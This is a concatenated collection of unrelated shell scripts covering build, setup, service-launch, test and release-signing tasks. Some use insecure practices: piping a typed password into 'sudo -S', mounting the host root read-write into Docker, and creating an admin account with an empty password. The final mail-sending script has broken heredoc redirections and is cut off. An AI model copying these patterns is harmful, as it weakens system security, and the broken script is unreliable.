"AtomGraph/Processorhttp-tests/graph-store-protocol/GET-default.sh\n#!/bin/bash\n\n# GET the default graph\n# the value of ?default is not required, as per the GSP specification\n\ncurl -w \"%{http_code}\\n\" -f -s -G \\\n \"${BASE_URL}service\" \\\n --data-urlencode \"default=true\" \\\n| grep -q \"${STATUS_OK}\""} {"text": "tools/start_all.sh\n# Modify the paths below for a subset of services.\ndeclare -a services=(\n\t\"$(pwd)/../lucida/commandcenter\"\n\t\"$(pwd)/../lucida/speechrecognition/kaldi_gstreamer_asr\"\n\t\"$(pwd)/../lucida/imagematching/opencv_imm\"\n\t\"$(pwd)/../lucida/questionanswering/OpenEphyra\"\n\t\"$(pwd)/../lucida/calendar\"\n\t\"$(pwd)/../lucida/djinntonic/dig\"\n\t\"$(pwd)/../lucida/djinntonic/face\"\n\t\"$(pwd)/../lucida/djinntonic/imc\")\n\nfor i in \"${services[@]}\"\ndo\n echo \"Starting service in $i\"\n cd $i\n make start_server\ndone"} {"text": "#!/usr/bin/env bash\npython train_supernet.py --dataroot database/cityscapes \\\n --supernet resnet \\\n --log_dir logs/pix2pix/cityscapes/supernet \\\n --restore_teacher_G_path logs/pix2pix/cityscapes/mobile/checkpoints/latest_net_G.pth \\\n --restore_student_G_path logs/pix2pix/cityscapes/distill/checkpoints/latest_net_G.pth \\\n --restore_D_path logs/pix2pix/cityscapes/distill/checkpoints/latest_net_D.pth \\\n --real_stat_path real_stat/cityscapes_A.npz \\\n --nepochs 200 --nepochs_decay 300 \\\n --save_latest_freq 25000 --save_epoch_freq 25 \\\n --teacher_ngf 96 \\\n --config_set channels-48 \\\n --drn_path drn-d-105_ms_cityscapes.pth \\\n --cityscapes_path database/cityscapes-origin \\\n --table_path datasets/table.txt \\\n --eval_batch_size 2 \\\n --direction BtoA"} {"text": "#!/bin/bash\nset -Eeo pipefail\nsource \"$YAK_BUILDTOOLS/all.sh\"\n# These are ultimately glibc configurations.\ndep --arch=\"$YAK_TARGET_ARCH\" --distro=yak glibc"} {"text": "verify/generateHashes.sh\n#!/usr/bin/env bash\n\n### This utility is for the build manager to hash the binaries for the release and create a GPG signed\n### file for verification that files are being released in authenticated fashion.\n\n# Check for version arg\nif [ -n \"$1\" ]; then\n version=$1\nelse\n printf \"usage: generateHashes.sh version [folder]\\n version: version number\\n folder: full path to binary folder\\n\"\n exit 0\nfi\n\n# Check for directory arg\nif [ -n \"$2\" ]; then\n releasedir=$2\nelse\n releasedir=$(pwd)\nfi\n\n# Check if GPG_SIGNER is set\nif [[ \"$GPG_SIGNER\" == '' ]]; then\n echo \"Please set GPG_SIGNER environment variable with your GPG key id\"\n exit 0\nfi\n\n# Detect OS\nplatform='unknown'\nunamestr=`uname`\nif [[ \"$unamestr\" == 'Linux' ]]; then\n platform='linux'\nelif [[ \"$unamestr\" == 'FreeBSD' ]]; then\n platform='freebsd'\nelif [[ \"$unamestr\" == 'Darwin' ]]; then\n platform='darwin'\nfi\n\n# Set up correct sha256 hashing utilty\nif [[ \"$platform\" == 'darwin' ]]; then\n hashcommand=\"shasum -a 256\"\nelif [[ \"$platform\" == 'linux' ]]; then\n hashcommand=\"sha256sum\"\nfi\n\n# Hash binaries for the release\ncurrentdir=$(pwd)\ncd $releasedir\n\n# Clean up SHA256SUMS.txt if exists\nif [ -f SHA256SUMS.txt ]; then\n rm SHA256SUMS.txt\nfi\n\n# Hash binaries into clear text file\nfor filename in *; do\n echo `$hashcommand $filename` >> \"SHA256SUMS\"\ndone\n\n# Sign hash file and remove clear text file\ngpg --digest-algo sha256 --default-key \"$GPG_SIGNER\" --clearsign SHA256SUMS\nrm SHA256SUMS\n\n# Move the file to script execution directory\nmv SHA256SUMS.asc \"${currentdir}/SHA256SUMS.${version}.asc\"\n\necho \"Signature file created.\"\necho \"Place file at https://openbazaar.org/releases/SHA256SUMS.${version}.asc\""} {"text": "0\n#!/bin/sh\n\nmkdir -pv /iso-build/\nmkdir -pv /mnt/iso\ndd if=/dev/zero of=/iso-build/rootfs-sauzeros-live.img bs=1G seek=5 count=0\nmkfs.f2fs /iso-build/rootfs-sauzeros-live.img\nmount /iso-build/rootfs-sauzeros-live.img /mnt/iso\nrsync -aAXHv --exclude={\"/dev/*\",\"/proc/*\",\"/sys/*\",\"/tmp/*\",\"/run/*\",\"/mnt/*\",\"/root/*\",\"/home/live/*\",\"/usr/lib/modules/*\",\"/usr/src/*\",\"/iso-build/\",\"/boot/*\",\"/etc/fstab\",\"/var/log/*\"} / /mnt/iso\ncat > /mnt/iso/home/live/.bashrc << \"EOF\"\n#!/bin/sh\n\nsource /etc/profile\n\nEOF\n\ncat > /mnt/iso/home/live/.xinitrc << \"EOF\"\nvmware-user-suid-wrapper &\nexec dwm\nEOF\ncp /repo/kissD/extra/liveCD/wifi.txt /mnt/iso/home/live/\ntar xvf /repo/kissD/extra/liveCD/google-chrome-config.tar.xz -C /mnt/iso/home/live/\nchown -R live:live /mnt/iso/home/live/\n\numount /mnt/iso"} {"text": "run_jupyter.sh\n#!/usr/bin/env bash\nxvfb-run -s \"-screen 0 1400x900x24\" jupyter notebook\n# jupyter notebook \"$@\""} {"text": "#!/usr/bin/env bash\nset -euo pipefail\nIFS=$'\\n\\t'\n\nORIGINAL_DIR=${PWD}\n\n# Do not move this script from the scripts directory, it requires this and the relative path to website/\nSCRIPTS_DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" >/dev/null && pwd )\"\n\nWEBSITE_DIR=\"${SCRIPTS_DIR}/../website\"\n\ncd $WEBSITE_DIR\n\nnpm install\nnpm run build\n\n# Now in main server directory\ncd ..\n\nexport ZOMBEANS_STATIC_FOLDER=\"${PWD}/website/dist\"\n\ncd $ORIGINAL_DIR"} {"text": "#!/usr/bin/env sh\n\necho \"Starting uni-resolver-frontend\"\n\nif [ \"$BACKEND_URL\" ]\nthen\n echo \"Substituting backendUrl with ${BACKEND_URL}\"\n envsubst < /usr/share/nginx/html/env.template.js > /usr/share/nginx/html/env.js\nelse\n echo \"Using default URL https://dev.uniresolver.io\"\nfi\n\nnginx -g 'daemon off;'"} {"text": "systems/debian/setup/server.sh\n#this might have saved me £100\nsudo fallocate -l 1G /swapfile\nsudo chmod 600 /swapfile\nsudo mkswap /swapfile\nsudo swapon /swapfile\n\n\napt-get update\napt-get upgrade\n\napt-get install --assume-yes libcgi-pm-perl mariadb-server libcrypt-ssleay-perl libio-socket-ssl-perl >> apt_install.log \ncpanm Data::UUID Moo >> cpanm_install.log \nmysql_secure_installation"} {"text": "balajimore/cordadocs/install-docsite-requirements.sh1-10\n#!/usr/bin/env bash\n# The purpose of this file is to install the requirements for the docsite\n# You can call it manually if running make manually, otherwise gradle will run it for you\n\nset -xeo pipefail\n\n# Install the virtualenv\nif [ ! -d \"virtualenv\" ]\nthen\n # Check if python2.7 is installed explicitly otherwise fall back to the default python\n if type \"python2.7\" > /dev/null; then\n virtualenv -p python2.7 virtualenv\n else\n virtualenv virtualenv\n fi\nfi\n\n# Activate the virtualenv\nif [ -d \"virtualenv/bin\" ]\nthen\n # it's a Unix system\n source virtualenv/bin/activate\nelse\n source virtualenv/Scripts/activate\nfi\n\n# Install PIP requirements\nif [ ! -d \"virtualenv/lib/python2.7/site-packages/sphinx\" ]\nthen\n echo \"Installing pip dependencies ... \"\n pip install -r requirements.txt\nfi"} {"text": "backends/transit/setup.sh\n#!/usr/bin/env bash\npushd \"$(dirname \"$0\")\"\npython3 -m venv env\nsource env/bin/activate\npip install -r requirements.txt\npopd"} {"text": "training-template/cleanup.sh\n#!/bin/bash\n# ---------------------------------------------------------------------------------------------\n# MIT License\n#\n# Copyright (c) 2020, Solace Corporation, ()\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n# ---------------------------------------------------------------------------------------------\n\nclear\necho; echo \"##############################################################################################################\"\necho\n\nsource ./.lib/run.project-env.sh\n\n##############################################################################################################################\n# Settings\n\n # logging & debug: ansible\n ansibleLogFile=\"./tmp/ansible.log\"\n export ANSIBLE_LOG_PATH=\"$ansibleLogFile\"\n export ANSIBLE_DEBUG=False\n # logging: ansible-solace\n export ANSIBLE_SOLACE_LOG_PATH=\"./tmp/ansible-solace.log\"\n export ANSIBLE_SOLACE_ENABLE_LOGGING=True\n # select inventory\n export AS_SAMPLES_BROKER_INVENTORY=$(assertFile \"broker.inventory.yml\") || exit\n # select broker(s) inside inventory\n export AS_SAMPLES_BROKERS=\"all\"\n # END SELECT\n\n\n##############################################################################################################################\n# Prepare\n\nmkdir ./tmp > /dev/null 2>&1\nrm -f ./tmp/*.log\nrm -f ./tmp/*hostvars*.json\n\n##############################################################################################################################\n# Run\n\nplaybook=\"./cleanup-playbook.yml\"\n\n# --step --check -vvv\nansible-playbook -i $AS_SAMPLES_BROKER_INVENTORY \\\n $playbook \\\n --extra-vars \"brokers=$AS_SAMPLES_BROKERS\" \\\n -vvv\n\necho\necho \"log files:\"\nls -la ./tmp/*.log\necho; echo\n\n\n###\n# The End."} {"text": "#!/bin/bash\n#Kill all process that are currently running\n\ncurrentUser=\"$(/usr/bin/python -c 'from SystemConfiguration import SCDynamicStoreCopyConsoleUser; import sys; username = (SCDynamicStoreCopyConsoleUser(None, None, None) or [None])[0]; username = [username,\"\"][username in [u\"loginwindow\", None, u\"\"]]; sys.stdout.write(username + \"\\n\");')\"\n\npgrep -U $currentUser | xargs kill -9"} {"text": "1984not-GmbH/molch10-100\n#!/bin/bash\nbasedir=$(dirname \"$0\")\ncd \"$basedir/..\" || exit 1\nsource \"ci/ninja.sh\" || exit 1\n\nif ! hash scan-build; then\n echo Clang static analyzer not installed. Skipping ...\n exit 0\nfi\noutput_dir=static-analysis\n[[ -e \"$output_dir\" ]] && rm -r \"$output_dir\"\nmkdir \"$output_dir\"\ncd \"$output_dir\" || exit 1\nif meson ..; then\n # This has to be done with else because with '!' it won't work on Mac OS X\n echo\nelse\n exit $? #abort on failure\nfi\nninja scan-build"} {"text": "MAVEN_HOME=\"/opt/maven\"\nexport MAVEN_HOME\n\nPATH=$MAVEN_HOME/bin:$PATH\nexport PATH"} {"text": "025_enable_personal_overlay.sh\n#!/bin/bash\n\n. ./_config.sh\n. ./_error_handling.sh\n\n# TODO: I don't think this is needed anymore\nexit 0\n\necho 'dev-libs/libpcre2 jit' > /mnt/gentoo/etc/portage/package.use/git\nchroot /mnt/gentoo emerge dev-vcs/git\n\nmkdir -p /mnt/gentoo/etc/portage/repos.conf\ncat << 'EOF' > /mnt/gentoo/etc/portage/repos.conf/sstelfox.conf\n[sstelfox]\nlocation = /usr/local/overlay/sstelfox\nsync-type = git\nsync-uri = https://github.com/sstelfox/personal_overlay.git\nauto-sync = yes\nEOF\n\n# We need to get our repo synced down as well if we're online\nif [ \"${LOCAL}\" != \"yes\" ]; then\n chroot /mnt/gentoo emerge --sync\nfi"} {"text": "#!/bin/sh\n\n# Wrapper script for FFmpeg with non-free codecs on Docker\n# \n\nIMAGE_NAME='outlyernet/ffmpeg-nonfree'\nuid=`id -u`\ngid=`id -g`\nBINARY=ffmpeg\n\nexec docker run --rm -it \\\n\t-v /etc/localtime:/etc/localtime:ro \\\n\t-v /etc/passwd:/etc/passwd:ro \\\n\t-v /:/host:rw \\\n\t-v /home:/home:rw \\\n\t--entrypoint /usr/bin/$BINARY \\\n\t--workdir /host/$PWD \\\n\t--user $uid:$gid \\\n\t\"$IMAGE_NAME\" \\\n\t\"$@\""} {"text": "sbgisen/rostest-composite-run-action\n#!/bin/bash\n\nif [ ${2} = \"kinetic\" ]; then\n rosdep update --include-eol-distros\nelse\n rosdep update\nfi\n\nrosdep install --default-yes --from-paths ${1}/src --ignore-src -r --rosdistro ${2}"} {"text": "H2CO3/libgpod-ondevice\n#!/bin/bash\n\n# sources=`ls *.m`\n#\n# for file in $sources; do\n#\techo `basename $file \".m\"`.o;\n# done\n\nsources=`ls *.c`\n\nfor file in $sources; do\n \techo `basename $file \".c\"`.o;\ndone"} {"text": "0\n#!/bin/bash\n\nset -e\n\ntrap 'last_command=$current_command; current_command=$BASH_COMMAND' DEBUG\ntrap 'echo \"$0: \\\"${last_command}\\\" command failed with exit code $?\"' ERR\n\nMY_PATH=`dirname \"$0\"`\nMY_PATH=`( cd \"$MY_PATH\" && pwd )`\n\ncd $MY_PATH\n\n# variable name, value, commentary\ninput=(\n 'UAV_NAME' 'uav1' ''\n 'NATO_NAME' '' 'lower-case name of the UAV frame {alpha, bravo, charlie, ...}'\n 'UAV_MASS' '3.0' '[kg], used only with real UAV'\n 'RUN_TYPE' 'simulation' '{simulation, uav}'\n 'UAV_TYPE' 'f550' '{f550, f450, t650, eagle, naki}'\n 'PROPULSION_TYPE' 'default' '{default, new_esc, ...}'\n 'ODOMETRY_TYPE' 'gps' '{gps, optflow, hector, vio, ...}'\n 'INITIAL_DISTURBANCE_X' '0.0' '[N], external disturbance in the body frame'\n 'INITIAL_DISTURBANCE_Y' '0.0' '[N], external disturbance in the body frame'\n 'STANDALONE' 'false' 'disables the core nodelete manager'\n 'SWAP_GARMINS' 'false' 'swap up/down garmins'\n 'PIXGARM' 'false' 'true if Garmin lidar is connected throught Pixhawk'\n 'SENSORS' '' '{garmin_down, garmin_up, rplidar, realsense_front, teraranger, bluefox_optflow, realsense_brick, bluefox_brick}'\n 'WORLD_NAME' 'simulation' 'e.g.: \"simulation\" <= mrs_general/config/world_simulation.yaml'\n 'MRS_STATUS' 'readme' '{readme, dynamics, balloon, avoidance, control_error, gripper}'\n 'LOGGER_DEBUG' 'false' 'sets the ros console output level to debug'\n)\n\n# create arrays\nfor ((i=0; i < ${#input[*]}; i++));\ndo\n ((i%3==0)) && vars[$i/3]=\"${input[$i]}\"\n ((i%3==1)) && values[$i/3]=\"${input[$i]}\"\n ((i%3==2)) && comments[$i/3]=\"${input[$i]}\"\ndone\n\nfor ((i=0; i < ((${#vars[*]})); i++));\ndo\n ./get_set_rc_variable.sh \"$HOME/.bashrc_mrs\" \"${vars[$i]}\" \"${values[$i]}\" \"${comments[$i]}\"\n\n if [ -e \"$HOME/.zshrc\" ]; then\n ./get_set_rc_variable.sh \"$HOME/.zshrc\" \"${vars[$i]}\" \"${values[$i]}\" \"${comments[$i]}\"\n fi\n\ndone\n\necho RC variables updated"} {"text": "testbench/ecg/pthread/compile_x86.sh1-10\ng++ fft.cpp complex.cpp main.cpp -pthread -o a.out"} {"text": "#/bin/bash\n\ndate\nMECAB_EXEC_PATH=/usr/local/libexec/mecab\nDICT_INDEX=$MECAB_EXEC_PATH/mecab-dict-index\nDICT_GEN=$MECAB_EXEC_PATH/mecab-dict-gen\nCOST_TRAIN=$MECAB_EXEC_PATH/mecab-cost-train\n\n# clear final directory\nrm -f ../final/*.csv ../final/*.def ../final/*.def.org ../final/*.bin ../final/*.dic ../final/dicrc \npushd ../final\n./clean\npopd\n\n# clear seed directory\nrm -f *.dic *.bin model model.txt\n$DICT_INDEX -p -d . -c UTF-8 -t UTF-8 -f UTF-8\n\nmodel_file=\"model\"\ncorpus_file=\"corpus/eunjeon_corpus.txt\"\ncpu_count=`grep -c '^processor' /proc/cpuinfo`\n$COST_TRAIN -p ${cpu_count} -c 1.0 ${corpus_file} ${model_file}\n\n\ncp pos-id.def ../final/.\n$DICT_GEN -o ../final -m $model_file\n\nrm -rf ../final.org\ncp -R ../final ../final.org\n\n./change_word_cost_ex.sh\n./change_word_cost.sh\n./change_connection_cost.sh\n\npushd ../final\n./configure; make\npopd\ndate"} {"text": "#!/bin/bash\n\n# Read Password\nprintf \"password: \"\nread password\n\n# Package Update\necho \"$password\" | sudo -S apt-get update\necho \"$password\" | sudo -S apt-get upgrade\n\n# Requirements\n\n## Installing Python libraries\necho \"$password\" | sudo -S apt-get install python python-pip python-dev libffi-dev libssl-dev\necho \"$password\" | sudo -S apt-get install python-virtualenv python-setuptools\necho \"$password\" | sudo -S apt-get install libjpeg-dev zlib1g-dev swig\n\n## Use Django-based Web Interface\necho \"$password\" | sudo -S apt-get install mongodb\n\n## PostgreSQL\necho \"$password\" | sudo -S apt-get install postgresql libpq-dev\n\n## Virtualbox\necho \"$password\" | sudo -S apt-get install virtualbox virtualbox-ext-pack\n\n## Install tcpdump\necho \"$password\" | sudo -S apt-get install tcpdump apparmor-utils\necho \"$password\" | sudo -S aa-disable /usr/sbin/tcpdump\n\necho \"$password\" | sudo -S groupadd pcap\necho \"$password\" | sudo -S usermod -a -G pcap cuckoo\necho \"$password\" | sudo -S chgrp pcap /usr/sbin/tcpdump\necho \"$password\" | sudo -S setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump\n\necho \"$password\" | sudo -S apt-get install libcap2-bin\necho \"$password\" | sudo -S pip install m2crypto==0.24.0\n\n## Install guacd\necho \"$password\" | sudo -S libguac-client-rdp0 libguac-client-vnc0 libguac-client-ssh0 guacd\n\n# Installing Cuckoo\n\n## add groups\necho \"$password\" | sudo -S usermod -a -G vboxusers $USER\n\n## Install Cuckoo\necho \"$password\" | sudo -S pip install -U pip setuptools\necho \"$password\" | sudo -S pip install -U cuckoo"} {"text": "0\n#!/bin/bash\n#\n# Build master biases, darks, and lamps for the past few days.\n#\n# \n# Created: 2017-07-26\n# Last updated: 2017-07-26\n#--------------------------------------------------------------------------\n#**************************************************************************\n#--------------------------------------------------------------------------\n\n## Default options:\ndebug=0 ; clobber=0 ; force=0 ; timer=0 ; vlevel=0\nscript_version=\"0.10\"\nthis_prog=\"${0##*/}\"\n#shopt -s nullglob\n# Propagate errors through pipelines: set -o pipefail\n# Exit if uninitialized variable used (set -u): set -o nounset\n# Exit in case of nonzero status (set -e): set -o errexit\n\n## Program options:\n#save_file=\"\"\n#shuffle=0\n#confirmed=0\n\n## Standard scratch files/dirs:\ntmp_name=\"$(date +%Y%m%d.%H%M%S).$$.$(whoami)\"\ntmp_root=\"/tmp\"\n[ -d /dev/shm ] && [ -w /dev/shm ] && tmp_root=\"/dev/shm\"\ntmp_dir=\"$tmp_root\"\n#tmp_dir=\"$tmp_root/$tmp_name\"\n#mkdir -p $tmp_dir\nfoo=\"$tmp_dir/foo_$$.txt\"\nbar=\"$tmp_dir/bar_$$.txt\"\nbaz=\"$tmp_dir/baz_$$.fits\"\nqux=\"$tmp_dir/qux_$$.fits\"\njnk=\"$foo $bar $baz $qux\" # working copy\ndef_jnk=\"$jnk\" # original set\ndir_cleanup='(echo -e \"\\nAutomatic clean up ... \" ; cmde \"rm -vrf $tmp_dir\")'\njnk_cleanup='for X in $jnk ; do [ -f $X ] && cmde \"rm -vf $X\" ; done'\ntrap \"$jnk_cleanup\" EXIT\n##trap '[ -d $tmp_dir ] && cmde \"rm -vrf $tmp_dir\"' EXIT\n#trap \"[ -d $tmp_dir ] && $dir_cleanup\" EXIT\n#trap \"[ -d $tmp_dir ] && $dir_cleanup ; $jnk_cleanup\" EXIT\n#trap 'oops=$? ; echo ; exit $oops' HUP INT TERM\n\n## Required programs:\ndeclare -a need_exec\nneed_exec+=( awk cat FuncDef sed tr )\n#need_exec+=( shuf shuffle sort ) # for randomization\nfor need in ${need_exec[*]}; do\n if ! ( /usr/bin/which $need >& /dev/null ); then\n echo \"Error: can't find '$need' in PATH !!\" >&2\n exit 1\n fi\ndone\n\n## Helper function definitions:\nfd_args=\"--argchk --colors --cmde --echo\"\n#fd_args+=\" --Critical\"\nfd_args+=\" --rowwrite\"\n#fd_args+=\" --timers\"\nfd_args+=\" --warnings\"\nFuncDef $fd_args >/dev/null || exit $?\neval \"$(FuncDef $fd_args)\" || exit $?\n\n## Check for arguments:\nusage () { \n #Recho \"\\nSyntax: $this_prog --START\\n\\n\"\n Recho \"\\nSyntax: $this_prog camera day-obs1 day-obs2\\n\\n\"\n yecho \"Input date range should correspond to the day-obs of lamp/target \\n\"\n yecho \"frames (i.e., after DAY-OBS rollover). The corresponding biases and\\n\"\n yecho \"darks for lamp/target spectra are obtained on the previous DAY-OBS.\\n\"\n}\n#if [ \"$1\" != \"--START\" ]; then\nif [ -z \"$3\" ]; then\n usage >&2\n exit 1\nfi\ncamid=\"$1\"\nfdate1=\"$2\"\nfdate2=\"$3\"\n\n##--------------------------------------------------------------------------##\n## DAY-OBS manipulation:\n\n## Convert between FDATE and UNIX seconds:\nfdate2unix () { date +%s --date=$1; }\nunix2fdate () { date +%Y%m%d --date=\"@$1\"; }\n\nday_change () {\n local old_fdate=\"$1\"\n local day_delta=\"$2\"\n unixtime_old=$(fdate2unix $old_fdate)\n unixtime_new=$(( unixtime_old + $day_delta * 86400 ))\n unix2fdate $unixtime_new\n}\n\nget_next_day () { day_change $1 1; }\nget_prev_day () { day_change $1 -1; }\n\n\n##**************************************************************************##\n##==========================================================================##\n##--------------------------------------------------------------------------##\n\n### List of recent nights:\n#nights=5\n#declare -a nite_list\n#for (( x = $nights; x >= -1; x-- )); do\n# nite_list+=( $(date -u +%Y%m%d --date=\"$x days ago\") )\n#done\n#\n#echo \"today: $today\"\n\n## Check for required script(s):\nbuild_range=\"./Z01_rebuild_range.sh\"\n[ -f $build_range ] || ErrorAbort \"Can't find file: $build_range\"\n\n##--------------------------------------------------------------------------##\n## Versions to build (look-back days, keep in order):\nlookbacks=( 0 2 4 )\n\n##--------------------------------------------------------------------------##\n## Bias/dark DAY-OBS is shifted by -1 relative to lamp/target:\nbdday1=$(get_prev_day $fdate1)\nbdday2=$(get_prev_day $fdate2)\n\n## Flat/double DAY-OBS matches the TARGET date range:\nlampday1=$fdate1\nlampday2=$fdate2\n\n## ALSO need master biases and darks:\n\n##--------------------------------------------------------------------------##\n## Build master biases (compensate for look-back time):\nbias_args=\"bias -k\"\nfor ago in ${lookbacks[*]}; do\n day1=$(day_change $bdday1 -$ago)\n day2=$bdday2\n echo \"day1: $day1 (ago=$ago)\"\n use_args=\"$bias_args -B$ago\"\n cmde \"$build_range $camid $day1 $day2 $use_args\" || exit $?\ndone\nexit\ncmde \"$build_range $camid $bdday1 $bdday2 bias -k -B0\" || exit $?\ncmde \"$build_range $camid $bdday1 $bdday2 bias -k -B2\" || exit $?\ncmde \"$build_range $camid $bdday1 $bdday2 bias -k -B4\" || exit $?\n\n## Build master darks:\ncmde \"$build_range $camid $bdday1 $bdday2 dark -k -B0\" || exit $?\ncmde \"$build_range $camid $bdday1 $bdday2 dark -k -B2\" || exit $?\ncmde \"$build_range $camid $bdday1 $bdday2 dark -k -B4\" || exit $?\n\n##--------------------------------------------------------------------------##\n## Build master lamps (tung01):\ncmde \"$build_range $camid $lampday1 $lampday2 lamp -k -B0 --tung01\" || exit $?\ncmde \"$build_range $camid $lampday1 $lampday2 lamp -k -B2 --tung01\" || exit $?\ncmde \"$build_range $camid $lampday1 $lampday2 lamp -k -B4 --tung01\" || exit $?\n\n## Build master lamps (tung12):\ncmde \"$build_range $camid $lampday1 $lampday2 lamp -k -B0 --tung12\" || exit $?\ncmde \"$build_range $camid $lampday1 $lampday2 lamp -k -B2 --tung12\" || exit $?\ncmde \"$build_range $camid $lampday1 $lampday2 lamp -k -B4 --tung12\" || exit $?\n\n## Build master lamps (thar01):\ncmde \"$build_range $camid $lampday1 $lampday2 lamp -k -B0 --thar01\" || exit $?\ncmde \"$build_range $camid $lampday1 $lampday2 lamp -k -B2 --thar01\" || exit $?\ncmde \"$build_range $camid $lampday1 $lampday2 lamp -k -B4 --thar01\" || exit $?\n\n## Build master lamps (thar12):\ncmde \"$build_range $camid $lampday1 $lampday2 lamp -k -B0 --thar12\" || exit $?\ncmde \"$build_range $camid $lampday1 $lampday2 lamp -k -B2 --thar12\" || exit $?\ncmde \"$build_range $camid $lampday1 $lampday2 lamp -k -B4 --thar12\" || exit $?\n\n##--------------------------------------------------------------------------##\n## Clean up:\n#[ -d $tmp_dir ] && [ -O $tmp_dir ] && rm -rf $tmp_dir\n#[ -f $foo ] && rm -f $foo\n#[ -f $bar ] && rm -f $bar\n#[ -f $baz ] && rm -f $baz\n#[ -f $qux ] && rm -f $qux\nexit 0\n\n######################################################################\n# CHANGELOG (Z81_build_all_calibs_range.sh):\n#---------------------------------------------------------------------\n#\n# 2017-07-26:\n# -- Increased script_version to 0.10.\n# -- First created Z81_build_all_calibs_range.sh.\n#"} {"text": "#!/bin/sh\n\n# Copyright (C) 2019 Intel Corporation\n# SPDX-License-Identifier: BSD-3-Clause\n\nif (cat /data/gitea/conf/app.ini | grep INSTALL_LOCK | grep true 2>&1 > /dev/null ); then\n echo \"GitTea already configured\"\nelse\n /usr/bin/entrypoint &\n sleep 5\n gitea manager shutdown\n sed -i 's/INSTALL_LOCK[ \\t]*= false/INSTALL_LOCK = true/' /data/gitea/conf/app.ini && \\\n sed -i 's/\\[repository\\]/\\[repository\\]\\nDEFAULT_PRIVATE=public\\nENABLE_PUSH_CREATE_USER=true\\nENABLE_PUSH_CREATE_ORG=true/' /data/gitea/conf/app.ini && \\\n sed -i 's/\\[database\\]/\\[database\\]\\nLOG_SQL = false/' /data/gitea/conf/app.ini\n sleep 5\n /usr/bin/entrypoint &\n sleep 5\n gitea migrate\n sleep 5\n while (! gitea admin user create --admin --username mirror --password --email mirror@localhost --must-change-password=false ); do \n echo \\\"Waiting for Gitea Database\\\"; \n sleep 5; \n done\n sleep 3\n gitea manager shutdown\n chown git:git /data/gitea/gitea.db\n sleep 5\nfi\n\nexec /usr/bin/entrypoint"} {"text": "install_spdlog.sh0\n#!/bin/sh\nwget https://github.com/gabime/spdlog/archive/v1.1.0.tar.gz\ntar -xzvf v1.1.0.tar.gz\ncd spdlog-1.1.0\ncmake -DSPDLOG_BUILD_EXAMPLES=OFF -DSPDLOG_BUILD_BENCH=OFF -DSPDLOG_BUILD_TESTING=OFF .\nmake && sudo make install"} {"text": "delemottelab/gpcr-string-method-2019string-method/src/bash/submit_swarm_plumed_local.sh\n#!/bin/bash\n##Replace with your own kernel below\nsource /usr/local/gromacs/bin/GMXRC\necho \"Submitting $1\"\nexport RUN_OPTIONS=\"\"\nbash $2"} {"text": "#!/bin/bash\n#\n# This config assumes use of clang and Anaconda python,\n# using mpich, mpi4py, cfitsio, and fftw from the\n# conda-forge channel.\n#\n# 1. Install miniconda / anaconda\n#\n# 2. Edit ~/.condarc to look like this:\n#\n# channels:\n# - conda-forge\n# - defaults\n#\n# 3. Install numpy, mpich, mpi4py, cfitsio, fftw\n#\n# 4. In order to link against the relocatable shared\n# libraries installed by conda packages (which have\n# relative @rpaths), you must add the conda\n# environment lib directory to $DYLD_LIBRARY_PATH.\n# This is needed (for example) to use FFTW and CFITSIO\n# libraries installed by conda packages.\n#\n\nOPTS=\"$@\"\n\ncondabin=$(dirname $(which python))\n\nexport PYTHON=python3\nexport CC=mpicc\nexport CXX=mpicxx\nexport MPICC=mpicc\nexport MPICXX=mpicxx\nexport CFLAGS=\"-O3 -g\"\nexport CXXFLAGS=\"-O3 -g\"\n\n./configure ${OPTS} \\\n--without-mkl"} {"text": "fig2.sh\n#!/bin/sh\n./julia -e 'using Pkg; pkg\"activate .\"; include(\"general/farmer.jl\")'"} {"text": "#!/bin/sh\n\nEXEC_PATH=\"`dirname $0`\"\nTO_ADDR=\"$1\"\nREPLY_TO_ADDR=\"$2\"\nSUBJECT=\"$3\"\nBODY_FILE=\"$4\"\nPAYLOAD_GZIP_FILE=\"$5\"\n\n\n\n# Source the configuration file.\n. \"$EXEC_PATH/svntest-config.sh\"\n\nif [ -z \"$TO_ADDR\" -o -z \"$REPLY_TO_ADDR\" -o -z \"$SUBJECT\" -o -z \"$BODY_FILE\" ]\nthen\n $SENDMAIL -t < \"$MAILFILE\"\nFrom: $FROM\nSubject: $SUBJECT\nReply-To: $REPLY_TO_ADDR\nTo: $TO_ADDR\nEOF\n\nif [ ! -f \"$BODY_FILE\" ]\nthen\n echo \"\" >> \"$MAILFILE\"\n echo \"Ooops, missing body\" >> \"$MAILFILE\"\n echo \"file name: $BODY_FILE\" >> \"$MAILFILE\"\n\nelif [ ! -f \"$PAYLOAD_GZIP_FILE\" ]\nthen\n echo \"\" >> \"$MAILFILE\"\n $CAT $BODY_FILE >> \"$MAILFILE\"\n\nelse\n $CAT <> \"$MAILFILE\"\nMIME-Version: 1.0\nContent-Type: multipart/mixed; boundary=\"----------=_$NEXT_PART\"\n\nThis is a multi-part message in MIME format.\n------------=_$NEXT_PART\nContent-Type: text/plain; charset=us-ascii\nContent-Transfer-Encoding: 8bit\n\nEOF\n $CAT \"$BODY_FILE\" >> \"$MAILFILE\"\n $CAT <> \"$MAILFILE\"\n------------=_$NEXT_PART\nContent-Type: application/x-gzip; name=\"tests.log.gz\"\nContent-Transfer-Encoding: base64\nContent-Disposition: inline; filename=\"tests.log.gz\"\n\nEOF\n $BASE64 < \"$PAYLOAD_GZIP_FILE\" >> \"$MAILFILE\"\n $CAT <> 